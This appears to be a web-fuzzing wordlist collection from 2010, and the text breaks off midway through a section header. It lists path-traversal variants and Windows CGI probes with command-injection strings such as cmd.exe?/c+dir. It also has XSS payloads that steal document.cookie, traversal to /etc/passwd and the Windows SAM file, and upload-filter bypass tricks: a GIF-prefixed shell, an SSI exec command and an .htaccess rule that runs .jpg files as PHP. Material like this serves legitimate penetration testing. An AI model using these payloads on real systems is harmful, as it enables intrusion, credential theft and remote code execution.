.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# PHP-Specific File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 